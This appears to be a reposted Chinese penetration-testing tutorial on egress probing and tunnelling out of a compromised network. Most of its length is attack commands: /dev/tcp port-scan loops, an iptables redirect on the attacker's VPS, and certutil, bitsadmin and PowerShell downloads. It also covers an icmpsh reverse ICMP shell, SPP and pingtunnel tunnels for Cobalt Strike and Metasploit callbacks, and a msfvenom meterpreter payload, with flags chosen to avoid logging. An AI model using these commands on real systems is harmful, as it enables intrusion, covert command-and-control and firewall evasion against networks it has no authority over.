出網(wǎng)探測
出網(wǎng)探測就是要探測出網(wǎng)協(xié)議,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協(xié)議。
目標(biāo)禁止出站ip
如果目標(biāo)主機(jī)設(shè)置了嚴(yán)格的策略,防火墻只允許目標(biāo)內(nèi)網(wǎng)機(jī)器主動連接公網(wǎng)指定的ip。這樣的話,沒法反彈shell。(因?yàn)榘酌麊蝘p沒有辦法拿到權(quán)限)。
禁止出站端口
Linux系統(tǒng)使用Linux系統(tǒng)自帶命令探測出網(wǎng)端口。( 探測目標(biāo)機(jī)器可以訪問baidu.com對應(yīng)ip的端口)
foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i***********************open************************"||echo"$iclosed";done
webshell不好回顯結(jié)果,將結(jié)果寫入文件中
foriin{440..449};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
探測常見端口
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done
foriin{21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};dotimeout0.5bash-c"echo>/dev/tcp/baidu.com/$i"&&echo"$i************************open************************"||echo"$iclosed";done>>result.txt
攻擊端的端口請求記錄
從目標(biāo)發(fā)起的端口訪問請求,攻擊端必須得配合記錄,否則即便找到有效的出站端口,我們也無法獲悉。思路一,單個逐次監(jiān)聽端口。對于少量端口的探測,攻擊端很容易記錄。比如,要驗(yàn)證 windows 目標(biāo)的 8088 端口是否為出站端口,先在攻擊端用 nc -n -v -lp 8088 監(jiān)聽 8088,指定 -v 選項(xiàng)觀察實(shí)時訪問記錄,再在目標(biāo)上用 telnet 192.168.56.8 8088 連接攻擊端的 8088 端口,最后在攻擊端查看端口訪問記錄,若有則該端口是有效出站端口,若無則重復(fù)以上步驟繼續(xù)驗(yàn)證其他端口。
二,批量捆綁監(jiān)聽端口。試想一下,如果能夠把攻擊端的多個端口流量轉(zhuǎn)發(fā)至單個匯聚端口,就只需監(jiān)聽單個匯聚端口,目標(biāo)上發(fā)起多個端口探測,只要在攻擊端轉(zhuǎn)發(fā)的多個端口的范圍內(nèi),那么,一旦找到有效出站端口,攻擊端的匯聚端口一定有訪問記錄。說到端口轉(zhuǎn)發(fā),系統(tǒng)自帶的 ssh、iptables,三方的 frp、nps,這些工具都能高效實(shí)現(xiàn),于是,我從這四個工具中找尋具備端口捆綁能力的那位 攻擊端這邊需要有?標(biāo)機(jī)訪問的記錄,才能更好的判斷?標(biāo)機(jī)器是否訪問了我們。只要?標(biāo)機(jī)器訪問到 了我們VPS的任意?個端?,我們這邊都能有記錄。//將所有端?的流量都綁定到34444端?
iptables-APREROUTING-tnat-ptcp--dport1:65535-jREDIRECT--to-port34444
//查看nat表的規(guī)則
iptables-tnat-nvL
//清除nat表所有規(guī)則
iptables-tnat-F
//備份iptables規(guī)則
iptables-save>/tmp/firewall.rules
//恢復(fù)iptables規(guī)則
iptables-restore/tmp/firewall.rules
配置防?墻規(guī)則,禁?訪問遠(yuǎn)程機(jī)器的1-34566和34566-65535端?,也就是說只允許訪問34567端?然后我們這邊監(jiān)聽34444端?,在?標(biāo)機(jī)器端?探測
禁止出站協(xié)議
對于禁止出站協(xié)議的情況,需要探測目標(biāo)機(jī)器允許哪些協(xié)議出網(wǎng)。
探測ICMP協(xié)議服務(wù)端
監(jiān)聽ICMP流量:
tcpdumpicmp
客戶端ping VPS地址,查看服務(wù)端能否收到請求VPS監(jiān)聽,然后ping我們vps查看能否收到監(jiān)聽來判斷ICMP 協(xié)議是否出?。也可以直接ping?個地址,看是否 有ttl值。
探測DNS協(xié)議
Windows:
nslookup、ping
Linux:
nslookup、dig、ping
通過判斷能否將域名解析為ip,判斷DNS協(xié)議是否出?。也可以將域名換成dnslog的域名,再看dnslog能否收到請求。
探測HTTP協(xié)議
Linux:可以使用curl命令
curlhttp://192.168.10.13
Windows系統(tǒng)可以使用如下的命令
certutil-urlcache-split-fhttp://www.baidu.com bitsadmin/transfertesthttp://192.168.10.13/1c:1 powershelliwr-Urihttp://www.baidu.com-OutFile1-UseBasicParsing
只有ICMP協(xié)議出網(wǎng)
目標(biāo)只有icmp協(xié)議能出?的話,則只有考慮使?icmp協(xié)議來搭建隧道。利?icmp協(xié)議通信的?具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。常?的ping命令就是利?的ICMP協(xié)議。
icmpsh(2016+kali2017)
icmpsh 是一個簡單的反向 ICMP shell,帶有一個 win32 從站和一個 C、Perl 或 Python 中的兼容主站。與其他類似的開源工具相比,它的主要優(yōu)勢在于它不需要管理權(quán)限即可在目標(biāo)機(jī)器上運(yùn)行。使用ICMP進(jìn)行命令控制(Icmpsh)適?場景:?標(biāo)機(jī)器是Windows服務(wù)器 Linux服務(wù)器執(zhí)行
#關(guān)閉icmp回復(fù),如果要開啟icmp回復(fù),該值設(shè)置為0 sysctl-wnet.ipv4.icmp_echo_ignore_all=1 #運(yùn)?,第?個IP是VPS的eth0?卡IP(vps上ifconfig可以得到),第?個IP是?標(biāo)機(jī)器出?的公?IP python2icmpsh_m.py192.168.10.8192.168.10.7
目標(biāo)機(jī)器的操作:
icmpsh.exe-t192.168.10.8
可以看到已經(jīng)反彈出一個shell
ICMP上線CS
有如下場景,我們拿到了內(nèi)?的機(jī)器權(quán)限。但是機(jī)器對外均只有icmp協(xié)議出網(wǎng),我們現(xiàn)在可以利?icmp封裝tcp協(xié)議,讓其上線cs。
使用SPP
平常演練常用的一些隧道工具像frp,nps在目標(biāo)出網(wǎng)的情況下還是比較好用的。但是一旦遇到一些比較惡劣的環(huán)境,比如只有icmp可以出網(wǎng)的情況,那就需要使用其他的工具像pingtunnel,ptunnel等。SPP三個特點(diǎn):、 支持icmp、kcp、quic 支持雙向的代理 可以自由進(jìn)行內(nèi)部外協(xié)議的組合
功能:支持的協(xié)議:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的類型:正向代理、反向代理、socks5正向代理、socks5反向代理 協(xié)議和類型可以自由組合 外部代理協(xié)議和內(nèi)部轉(zhuǎn)發(fā)協(xié)議可以自由組合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android cs服務(wù)器端
./spp-typeserver-protoricmp-listen0.0.0.0
客戶端
spp-name"test"-typeproxy_client-server140.143.167.58-fromaddr:8082-toaddr:8081-proxyprototcp-protoricmp
pingtunnel上線MSF&CS
1、pingtunnel下載鏈接
https://github.com/esrrhs/pingtunnel/releases
注意,在客戶端中運(yùn)行一定要加noprint nolog兩個參數(shù),否則會生成大量的日志文件;ICMP為網(wǎng)絡(luò)層協(xié)議,應(yīng)用層防火墻無法識別,且請求包當(dāng)中的數(shù)據(jù)字段被加密 2 vps服務(wù)端開啟
##開啟服務(wù)器模式 ./pingtunnel-typeserver
3、客戶端開啟上傳客戶端
##客戶端本地監(jiān)聽9999端口,將監(jiān)聽到的連接通過icmpserver發(fā)送到Linsten_ip:7777端口 pingtunnel.exe-typeclient-l127.0.0.1:9999-sicmpserver_ip-t82.157.64.237:7778-tcp1-noprint1-nolog1
4、MSF上線
msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=127.0.0.1LPORT=9999-fexe-oAAA.exe
5、cs上線 建立監(jiān)聽127.0.0.1:9999和192.168.3.76:7777 對127的監(jiān)聽生成木馬AAA.exe,傳到靶機(jī)運(yùn)行
pingtunnel.exe-typeclient-l127.0.0.1:9999-s192.168.3.76-t192.168.3.76:7777-tcp1-noprint1-nolog1
審核編輯:湯梓紅
-
Linux
+關(guān)注
關(guān)注
87文章
11230瀏覽量
208931 -
WINDOWS
+關(guān)注
關(guān)注
3文章
3524瀏覽量
88433 -
端口
+關(guān)注
關(guān)注
4文章
955瀏覽量
32015
原文標(biāo)題:隧道與端口轉(zhuǎn)發(fā)
文章出處:【微信號:Tide安全團(tuán)隊(duì),微信公眾號:Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論